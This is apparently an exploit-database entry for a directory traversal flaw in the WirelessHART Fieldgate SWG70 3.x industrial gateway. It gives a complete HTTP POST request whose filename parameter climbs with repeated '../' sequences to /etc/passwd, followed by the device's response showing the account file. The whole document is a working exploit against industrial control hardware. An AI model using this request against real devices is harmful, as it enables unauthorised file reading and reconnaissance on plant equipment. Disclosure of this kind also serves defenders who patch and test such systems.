WirelessHART Fieldgate SWG70 3.0 Directory Traversal

`# Exploit Title: WirelessHART Fieldgate SWG70 3.0 - Directory Traversal  
# Date: 2018-08-29  
# Exploit Author: Hamit CAdegBO  
# Vendor Homepage: http://endress.com  
# Software Link: https://www.endress.com/en/Field-instruments-overview/System-Components-Recorder-Data-Manager/wirelesshart-gateway-fieldgate-swg70  
# Version: SWG70 3.X  
# Tested on: Windows  
# CVE :  
  
# PoC  
# Request  
  
POST /fcgi-bin/wgsetcgi HTTP/1.1  
Content-Length: 129  
Content-Type: application/x-www-form-urlencoded  
Referer: {Target}  
Cookie: ********  
Host: {Target}  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/5.0(Windows NT 6.1;WOW64)AppleWebKit/537.21(KHTML,like Gecko)Chrome/41.0.2228.0 Safari/537.21  
Accept: */*  
  
action=ajax&command=4&filename=../../../../../../../../../../etc/passwd&origin=cw.Communication.File.Read&transaction=fileCommand  
  
# Response  
  
HTTP/1.1 200 OK  
Date: Fri, 13 Mar 1970 17:13:58 GMT  
Server: Apache  
Cache-Control: no-cache  
Keep-Alive : timeout=15,max=100  
Connection : Keep-Alive  
Content-Type : text/plain  
Content-Length : 333  
  
root:x:0:0:root:/root:/bin/sh  
ftp:x:11:101:ftp user:/home:/bin/false  
www:x:12:102:www user:/home:/bin/false  
sshd:x:13:100:SSH Server:/var/run/sshd:/bin/false  
service:x:500:100:Service User:/home:/bin/sh  
  
  
`